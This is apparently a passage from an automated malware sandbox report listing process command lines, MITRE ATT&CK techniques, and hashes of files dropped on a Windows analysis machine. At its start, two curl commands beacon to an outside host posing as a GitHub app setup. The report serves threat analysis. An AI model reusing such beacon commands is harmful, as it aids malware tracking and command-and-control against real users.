  "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 12 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:804
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -4 -s -o NUL --connect-timeout 6 --max-time 12 https://xorados.com/github-app-setup/api?t=f919bda01f0f03a166d4e62c14bae71a6ce125a2&track=1&event=launch_ok
  2⤵
  PID:5884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5d72f4c9-0de5-4f79-bfdd-d352cda55b24.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\5d72f4c9-0de5-4f79-bfdd-d352cda55b24.tmp
Size 267KB
SHA256 fbd9c1c8b983b2408697907ae21f2ab665b464ae4ebeb5548b13c39285ae3871
MD5 22084341df04dc2c705a4b206231fd41
SHA1 675a1ee10d58a8847daefce96404c64ca0190dcb
SHA512 91932a004f2aa259bf91711c96776ec7b9f113f4a008450568fcdb2bdcddc0b3f8e94cd0378b372bdbfd36644a20119f9c50718450738971ee6947beffda0dea
SSDEEP 6144:5/tUZvxYkhkW9JbYE0+hFD+7t56OD9ZfSApprH:5/ebhR7bYE0yFSXD9ZfS4F
TLSH
T149441291FE19DC5BC6FD508177AAB305DF72A8DD44CA288A84E41EC7926F5CC07D3A22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7df9dc3b-aa49-42da-b80c-adf6e3c5b38e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\7df9dc3b-aa49-42da-b80c-adf6e3c5b38e.tmp
Size 268KB
SHA256 ea2eb087600d2bdc045c39da76ecdde3169df77f7cf7dc017707f68533f53f4f
MD5 f4bae7f82ee7d4cbe1cd2ccaa0bd15b7
SHA1 39cabcd366521b2fef24297e41dacfffdf04af80
SHA512 908defd3042c756bb72d25600d82d0ef82c1e35d6d7929ce66c0ef4ca81c56fb580da24bc66d6ebf16b234c1b9a112534db3fb2c93822a8b8c76bd2adeeff653
SSDEEP 6144:5/tUZvxYkhkW9JbYE0+hFD+7t56OD9ZfSApprH:5/ebhR7bYE0yFSXD9ZfS4F
TLSH
T1BA4412B1FD15DC5BC6FD508177AAA304DF72A8DE448A688A85F41EC7926F1CC0BD3A12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

82e73a70-f635-4bf7-b580-f42654b90354.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\82e73a70-f635-4bf7-b580-f42654b90354.tmp
Size 267KB
SHA256 67ec2ac10c3d920e8a6015466984a9cc869628368ca22a5a3fc938915a3f6fe6
MD5 23d00f2eca8c8a86c2f3a3e432cc8e2c
SHA1 6270d4f2dcfe0827c244ec222ad728b8bc17a7c5
SHA512 8f9e77b04f215f702931d9ba334e20ae77232f61c823402b650102ca06c56fea29d0a1a8681c85baa47fd1fed05bfc4c0f511feaa411b372a2a6a20438f16ab2
SSDEEP 6144:+/tUZvxYkhkW9JbYE0+hFD+7t56OD9ZfSApprH:+/ebhR7bYE0yFSXD9ZfS4F
TLSH
T14C441291FE19DC5BC6FD508177AAB305DF72A8DD44CA288A84E41EC7926F5CC07D3A22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9ed9e9a6-0a8c-4aa7-afae-1d520da06f91.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\9ed9e9a6-0a8c-4aa7-afae-1d520da06f91.tmp
Size 344KB
SHA256 dbcf0d68a060b2df208cddb5daf618b42f8aaf607d152cdfddf415754021626f
MD5 0e180c6f0cad3f375124f175d85fd333
SHA1 8202caf3fb2ab11139459073489c9b991cd3b2b5
SHA512 bebdd2a930c03333658c86c5d18e16c999bd30a4c24bf34c7bbc1a2d17d6342d8d25f23f5a0c9bd625cc9ea1ecf9ddd6d0d1c6337f1092f1484d18541d4d2ede
SSDEEP 6144:Gs00GBQ/tUZvxYkhkW9JbYE0+hFD+7t56OD9ZfSApprH:n0/2/ebhR7bYE0yFSXD9ZfS4F
TLSH
T178742370FD16DC6B86FD514137AAE308DF3178DF189E658A85A82DCB952F08C0B93E16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

134fc61e-c472-46d8-a5d3-f141902bf813.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\134fc61e-c472-46d8-a5d3-f141902bf813.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

18ffc21f-f0bd-4d71-98ef-1bd643343e05.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\18ffc21f-f0bd-4d71-98ef-1bd643343e05.tmp
Size 12KB
SHA256 00d79407f08be48ffe95300e218c7546f2a28257c163c0dfdbf99d735d568669
MD5 02f8424a87a0ec56ed9b5d864162a762
SHA1 b25d757415bef5bf0e817f72e11eb70db0ced3af
SHA512 593394caa6220ac902eb3495e03ecdd66c629973a710881e92b1c39f4cd8d1b69a8fc198870fd68001686cfc080b091e800c9246ca8bdbac7ce83c1e3cc6977b
SSDEEP 192:AR36YMOtHFXCTv78hAPRp2YQ/9THsb+WNnW94Wt2ejd23Xoe8HaSDVyIsnAUgtaJ:AR3vQr48XcJwEr2eJ23XmaSl8
TLSH
T18952B529ED60753B6DDBD22AF9A17B17D7F5002170D42E80EAF8893C25E79CC261781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2e88eaba-ae1c-4c7d-923d-2ff8f56c7ee1.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\2e88eaba-ae1c-4c7d-923d-2ff8f56c7ee1.tmp
Size 14KB
SHA256 1998fbcac245f98fa1a831a3b4dd75e586e60a1661ea3dfcd40526b5ae29d689
MD5 613a7c603f3dfaa41c2fd5153c0e8465
SHA1 2370d508ba5e8aabf7b0f9fe6bb692e88cf0a218
SHA512 6e7548a23e5d559063e6d8266a06dc8c3210c6cfcfd76485cd6439fee4e88e165b31c5ac147fd49476a21de9626ae38659131bc254f8acdc35532ba4f2505124
SSDEEP 192:ARLcBz6YSOtHFXCSTv78h4PRpKA+PbzH9THsb+WN2SNVuW9vwfw65+Wt2edyd23c:ARLmzvyU4sXmJw2Qb0nB2edC23Xmadle
TLSH
T17862B72AED60763BADDAC22AF9617B17E7F5102160D02D44E6FC8D3C14D76CC661781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3e3cb41f-9876-49a8-9c9d-d914e21671f8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\3e3cb41f-9876-49a8-9c9d-d914e21671f8.tmp
Size 414B
SHA256 71cb93131c79566be991de6927fb18dfa9785d7f8186e8d8235e959708534ed0
MD5 e659169a1f44fb5d83960a29639c7a15
SHA1 8bc8d3dd42d3d0d874884935903461924fa97b63
SHA512 2f349e85bdaf96d6f978d16104cf8726e4374059fa1af9abc483c99ca77e50d1e051d828b0b146d08d0dc1a193123bdc47767ef3e539b2b04b562060d910a3d8
TLSH
T1B9E02BAAD812EC3759FE075871918B49EB50236B3B404D4B363C81188FB863E4699D9C
MD5 SHA1 SHA512 TLSH

Submit Download

63fd169a-4228-46e8-8eaf-d3314ab6e938.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\63fd169a-4228-46e8-8eaf-d3314ab6e938.tmp
Size 13KB
SHA256 d2a0bff033bc9e5e60cdef85b41d509a95c0a24459f844497e2b424cd4214a8b
MD5 a0c659663aca45191b220c55d4b2c966
SHA1 b991591bb1e900611bdab4558f94ab71db5612a6
SHA512 55cee4ffa8c107d94a340e1722923ac00056a54f83a57454a8eeabb32497c86f2d0d2fd540b1b5c12a7db1fe2a4df81b37167707d12ea2837d91d2ddc9648280
SSDEEP 192:ARLcBz6YMOtHFXCTv78hAPRp2A+PSoH9THsb+WNfVuW94Wt2ejd23Xoe8HaSDVyt:ARLmzvQr48XdaJwfbr2eJ23XmaSl8
TLSH
T16A52B42AED60753BADDBC22AF9A17B17D7F5102170D42D80EAF8893C25E75CC221781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6ea87010-c16d-4c97-87fe-5115f5b2433e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\6ea87010-c16d-4c97-87fe-5115f5b2433e.tmp
Size 14KB
SHA256 876c8c3a598f53a29003a6f296e0b09e18dc646d3417e860926e81271b0319fd
MD5 3d8ab955da2ccb33234752eda8ee9286
SHA1 4a48fc3ff1b71c6ada2bccc86a0eb6ec58737522
SHA512 8219c85c35935f1c90f804e85d27353a0bceddf613d4f2a5a38218a26aaed24b6eb189c2786bdc496cc39ec625a054f9f934e61d9a36fca455b6662f5317938d
SSDEEP 192:ARLcBz6YMOtHFXCkv78h4PRpKA+PbzH9THsb+WN2SNVuW9vwfw1i+Wt2ewyd23Xs:ARLmzvQA4sXmJw2Qb0jB2ewC23Xmadle
TLSH
T1A362B62AED607A3BADDBC21AF9617B1BE7F5102160D02D44E6F88D3C14D76CC661781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000008

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
Size 346KB
SHA256 a1ceb3df9fb44cafac57aa6814112f415b31d062f45029b84330a4c8b6ee2223
MD5 807f8ed795ff77a6c52f008ff70e789e
SHA1 d2c5b378d4c9e95c777a2b2767248cc4ad57eb05
SHA512 9ab714adadd47d5e4124250693f0bc2366fb520fa9148d5980bc80be30880fe9d42b57c815be020acbbdaff434bd0209888b1050bb269ea06030c9dd97638703
SSDEEP 6144:gK5i8M8Z3iE2CPijzOflx7Dcya48kFcUl0hFvpBuEHAWwuIySTPxtBJyS4Nmir+R:gKA83iEF7nFzlk5uZuIySTDBJyJLrFiT
TLSH
T1707423104324319ED4DF2DBD4C016ACABAF2899E18D3E6DD0CB1F1E69257C1FA626B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00003b

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00003b
Size 51KB
SHA256 41a26d9861a3b18280f6c26720a34d96fffe11b0ea09f58bfe31acc9ca212864
MD5 a5629917c57e82d7850a11a82b102460
SHA1 17cd7868956ed0e6c775209aa319ec9731c08618
SHA512 e9ac5d5b50d52addf89db82a7f910d497fffc31b0ee7d8b7f1bc9a99f40068a0c3cc0e2f31c16efb471ee2d4bfa478f9c7f72ed5fd83129664c202536a622918
SSDEEP 768:Ny+6XIduA+2tVcHDtfhamMoIKawrh3AopwGlLY2uFG7o+Eu5r+FSReJkD:8+4IdvKtf0Kp93AlWLY2/odQgOD
TLSH
T13F33D08B4D6F8DE5C9248BF6C22F1BB5674A810A3A1A5393C738F7774C1B444A1292BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
Size 4KB
SHA256 3075c0e7ac2d702060077b58e50f5d5222492f2cb6a8ba0934d50b1b0c2244b9
MD5 7e976599db50c873a825858d83afc967
SHA1 ccb177ecf00b8ff2b61dc573db5399885112d611
SHA512 bfe8960f80293a85ded6681d55d47abbd8538e67020373993ae444d1834cb1c9fc4f3cb82db250be660cf5703700cf5572af55a3f7b4d84cffb0c9e08b7654b7
SSDEEP 96:V1CMZxWOC2KF3KGFy3ZfVFy7ihSCM1S4H:WMRKF3KGQ3xV+nM4H
TLSH
T1A79183A3A1996603FB52F3F029C5BB2432B01D577293CEFA140478F4A83AB56BF39554
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_github.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

04616b0a-f904-48dc-a2f5-875ef313441a.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\04616b0a-f904-48dc-a2f5-875ef313441a.tmp
Size 11KB
SHA256 0ae896b2c0a783b3aaaa4fe8d24a69f9d2a762fe34ee63b990c2ece2d63f32be
MD5 ed9e95d677c6ff90622bec80db44da5e
SHA1 de74c362f130ec79c5c0942c0abf09efec4c660d
SHA512 2ade9919afd2264bc7a6c92d4c4ac11208907d862c9438058873b32193c2bc60f6b1f9df68782ae32c3de019694278c1d02f981979e104af373141ff31aee96b
SSDEEP 192:D98HjCIH5JmWaZrw5DxaI78BupsDPbCfCNP+aPMvEbfPs8mDmtmrm5mFQ3ZrPTmh:D98HjCIH5JmWaZrw5DxaI78BupsDPbCv
TLSH
T18532DEF7C3E8862DC95156F4AB15BF1ECF2D1928432C3C66C8D4AE4B93E2871E25164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

433a357a-8158-4c73-840c-88f33debd584.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\433a357a-8158-4c73-840c-88f33debd584.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

4becaa21-c01a-4611-a463-d4207a66bc2b.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\4becaa21-c01a-4611-a463-d4207a66bc2b.tmp
Size 9KB
SHA256 83d4f44d61f92a96fc156eac8d7e33d5f15c0d980eed0d71bbac3542292e6ca5
MD5 1cf37711baceac3c2e8f8c90fa9b8c63
SHA1 a9bc18b046447139a515b0de6809c1300de5674e
SHA512 9599ac67cd503581f07256c62a72d8b9d5c974c4eb208b128e90744513d4d768ad7265fae55248c89de816540f733d8d415935d3d9f34b35040fc114523d4be1
SSDEEP 192:D98HjCIH5JmWaZrwBaI78BupsDPbCfCNP+aPMvEbfPsGSmDmtmrm5mFQ3ZrPTmgI:D98HjCIH5JmWaZrwBaI78BupsDPbCfCn
TLSH
T1C612CEF7C3E8862DC95155F4AB15BF2ECF2D1928532C3C26C8D4AE4B93E2871D25164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f620d019-b912-4078-bd3f-3f1cb2d40614.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\f620d019-b912-4078-bd3f-3f1cb2d40614.tmp
Size 9KB
SHA256 2cf54c2dd8e67f10659d807db0fcda051bcc249e80fa71455c218cc7010a5cae
MD5 1944eae309f099bc8ec7aa5aa25043fc
SHA1 dadc085d94efefbffd9c8b422dce6e92a44105d0
SHA512 b5f9c9f800a127584082d7f7f55fa2a0617107ebb2167b4b59483814b3d7b797c77960697b8d8090b044af5a5702a8d790dbfba5a4d266d1f53968746f0271cf
SSDEEP 192:D0uLhWtxJJmcwZr4zDpqaI78EdpsSZqCfCNP+aPMvqufPiNmDmtmrm5mFQCZrPTy:D0uLhWtxJJmcwZr4zDpqaI78EdpsSZqx
TLSH
T13222BBF783E5962DC91156F4AB15AF2FCF291528432C3C66C8D4AE0BD3E2872E25174E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Size 120B
SHA256 6b84953c26a63116682f0fc24a6dd6f8b57d3aab8b7638fe56d72760966fa13c
MD5 6a68fc30533225b0490c0d4fafd1b69c
SHA1 5dc263c18f2f7f317414fc5db2c89a12cc31d804
SHA512 3220c33291a622fb083a48405fbd63f5ac737c1d3820bb9cf78be6238bdf153cdbb932949e374efeccb966ef7f1df17b8fad83a73ccf1357e1b0cc1203a3f44a
TLSH
T1E0B01206C1C17301C00113B01198D06832608F34D322138583E00F02A8311A05027108
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 2fa3a1c175fd7b29a9543b7014a0059f65fd072e9d5a115e94f374ce2e9d24c9
MD5 b371308a9852be814cb8e14a198c495a
SHA1 83c0b3065ada1038eaa2cf5f2bd20d37bf98653e
SHA512 58af9318b8f96a69435bb1d3a90492f525436e224eff7051bcbca5bef525d05eb9f88f8c60b1ec4bb747c5965a5e7151168a546acd4c0a3448efbba2b064c844
TLSH
T1B0B0228CC2022302C00203F0328883CC3020EF20C203030A82E00E23CC2C2B00220220
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir\temp-index
Size 72B
SHA256 a833e54e782419b976feeaed42be72834cbe51a03729b5565f81ab6360c8197d
MD5 1e074055906427d7d2b287557fe2adc9
SHA1 26790bbdc87c06833f576582cf92a3109de0ce38
SHA512 43490c35141474158fd21022521282b51fc56f9e0d9eb8cdd958bc8cfbeebe47e35438e962dbc5622607d233f09e2a5d8c832fd1239461d104734644ec6789f7
TLSH
T126A002E095628611D0450272FA8195D36320BE101343AE0594E2548AD8A07834543B20
MD5 SHA1 SHA512 TLSH

Submit Download

bc7b314f-bda0-4b35-828b-3a65134827e3.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\bc7b314f-bda0-4b35-828b-3a65134827e3.tmp
Size 17KB
SHA256 a55c9d9bfbff27f4080d00af8282862be9cc6b021b0d1cf3b654e6d1857a1705
MD5 c8926c13ed1e541a9ebca052800d518d
SHA1 3522a9925410a3faf9a73cb924c1c1fb4dbffb5b
SHA512 0cc7f70f08f90753f1713955142d2f28c2b7b8284eb83bb86dea581036af8c57e30edda3af83eb81e1295de946e3c6812dc7f1671fca9c13e29cb035d90943a4
SSDEEP 384:j5j3S7KxkXqKf/pUZNCgVLH2HfgslA/7pLuLceS9YXOD32+ErU3tJHGT7LAE:jJ3S7KxkXqKf/pUZNCgVLH2HfgsC/7pO
TLSH
T1E772FA67BC4C9A3B4F94C68CDC267F4FADB5024B61ED886443FA582603D5ACB05062FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f61a417f-c4c5-4ea4-bb61-5609da34cc1c.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\f61a417f-c4c5-4ea4-bb61-5609da34cc1c.tmp
Size 130KB
SHA256 70b6677d4ab32a1ba2eb1d2f089f60b423975f84228e8f9942898813a6af656c
MD5 f3d56a58ac19f404bde0c783913ca5c2
SHA1 d229661c9de591ac349d173071f20cd53b1abfcb
SHA512 046a95d5649f4ca4fbd804c16f0e5215e71aa86a78f60f73ee84a4744e0a304c4865f4f447e66a00b63382c9fdd8a255de0191afe206b763036f02c63562b8f8
SSDEEP 3072:m+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gy:m+hFD+7t56OD9ZfSAppry
TLSH
T14FD31232AA91C8BBC9BC6541B197A304DD766CED41DE3A0944465F8EE09FD4C0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 3KB
SHA256 9a115765e92821d95215ec47a902a47026b39182e3c5c90f63ee7f1768aff9ad
MD5 96f2214074418bf808b35132a157ce9a
SHA1 95c04976c6bcc2ad65aeac6642b21108f21bc8b9
SHA512 c0c670ad593cb98f89d452f0335c513274a7831e5148ecd5bf26ac3ef201c40ba3a776ac47682fe6aa7167c321a96ef9905d6bde9bb2157531ead4bda864e8b4
TLSH
T10D71EC17B3CC49D3D98D5735D08C981630DA82878466AFCEAF8FC6F0621F2B5B674124
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a47a9ff4a13b3a7ef8e09e44ef1368c9ec41bf8f651b9d478643cc1954568ab6
MD5 ae93143c83a81f49c00689a24a358a87
SHA1 30a77b280a4e20078f096cd9f14c81537e05ec7f
SHA512 3bfbdd96a84fb0e00ae820cc7f80d7d1362a2ddb4c9f17c2b9a3ba8571a088d175aef43c58570e936216228ab657bf579b2d03822c11001641b0e3934a998c53
TLSH
T1DB119327F38C8921CC96113A409EAC1132B283CB41AECF9F7FC0C214A07F584CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 920b0533da0c372d9d48d36e09d752c369aec8f67c334e98940909bfcb6c0e6c
MD5 e89c193840c8fb53fc3de104b1c4b092
SHA1 8b41b6a392780e48cc33e673cf4412080c42981e
SHA512 865667a22e741c738c62582f0f06ea4559bb63a1f0410065c6fb3da80667582697aba2e233e91068c02d9ab4fb5db282a681fe8234f4c77a5309b689a37ac3a2
TLSH
T1D7117627F39CCA21CC96153A409DAD1172B683DB81AEDF9F6FC0D215A07F584CB711A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2nhoywcn.b0a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nhoywcn.b0a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

{12ec7d04-1412-4338-81a5-4b5e9f9e9737}.ps1

Path C:\Users\Admin\AppData\Local\Temp\{12ec7d04-1412-4338-81a5-4b5e9f9e9737}.ps1
Size 2KB
SHA256 e96c3abaa3185534f1f6c5765b391ba017b75f9d2955a68fdd9b44d2c1f93fd7
MD5 a83b53be7aae1ca9d252cf9c660880f1
SHA1 45a5b5556bc9403fd635f411928d461a05eec9a4
SHA512 cf35a8855ea2c7f802b8b7ee6ef0d52a896a5721036cc219036c7d84976ee53a010a4fd4c7ebf4032b5436ff324844562ea2f033bdacb5f0af86268f7fe018a6
TLSH
T1D84174B69BF945D406E3CA16B8EFB2149D29403F948B4E10B9AC5380FFE419B4B712D6
MD5 SHA1 SHA512 TLSH

Submit Download

ConsoleHost_history.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Size 85B
SHA256 ba5c577a1dd03397e3af8e08b2c9062064234a4b6f8da094b29c5d646cc79622
MD5 0bf78c0e35007b094b1e5fdf0e511c8d
SHA1 eed3ac3dca5e7728bf8bcac32b2db514ed606db9
SHA512 8cd6a984422d8d3c8f1d598e0991d5779ad21202b4d7f03131009b91594cfbd6c1c686cbc2fbeab5d27a2dd2d6342c61ea3b1e2d7a5ab95c753b8f47b3524608
TLSH
T176A01295D7C164058A0031DC001A5A72D80238188D85C4C0D5314040C84840C1D142A0
MD5 SHA1 SHA512 TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 5KB
SHA256 c21adfebf490e6823286f5bdabaab96996a96bcd236442762cf736807376cc13
MD5 589072cebcad410b799f64c679f575f1
SHA1 49c0fdfde3971771a01169ecdab8e8455a94674b
SHA512 2c26ca1186a10c77bbc6e0b79cef046ff8f118b09f28830663badde98663f4c3410807be2af9e3e536dafd8804a51d8e29393d29cb3de7c355258877dfb30a5e
SSDEEP 96:S86DJCvfzIFukvM+ORLJy1CQHWPRLJy1CQHWI:S86DqLIwtCCntCC2
TLSH
T16FB1BC5023F61255F5B78E3AAC72B321A776B804CD07DFCF93809569AC30625E53876B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

JKWJ5Y54RH7IZHPDB6HZ.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JKWJ5Y54RH7IZHPDB6HZ.temp
Size 5KB
SHA256 84e58a68db87ff1667feb170cd84080359c483edba6f440e6bd4f60c5a0a6714
MD5 8bc385971ba4f15be9a9c6d08bfbb772
SHA1 754af21e262e8ef4dd8420fd8ebc2e6d602d9b5d
SHA512 791ea72c5062ba638d2021508483a148b9bc6221cec1b8dd1deb73a89a3163484b01ce6757fcc55f4824acc0fb347381d066275287bf0e01d6af4ddd035eeb6e
SSDEEP 96:J8WdCvf2IFukvM+OfLJy1lQHWPfLJy1lQHWI:J8WeOIitClttCl2
TLSH
T1E3B1CB5023F61215F5B78E3AAC76B321A736B805CE079FCF92809569AC20625E53876B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1876-568-0x000002355BF60000-0x000002355BF84000-memory.dmp

Download

memory/1876-567-0x000002355BF60000-0x000002355BF8A000-memory.dmp

Download

memory/1876-543-0x000002355B9E0000-0x000002355BA02000-memory.dmp

Download

memory/1876-547-0x000002355C1F0000-0x000002355C3B2000-memory.dmp

Download

memory/1876-545-0x000002355BFA0000-0x000002355C016000-memory.dmp

Download

memory/1876-544-0x000002355BED0000-0x000002355BF14000-memory.dmp

Download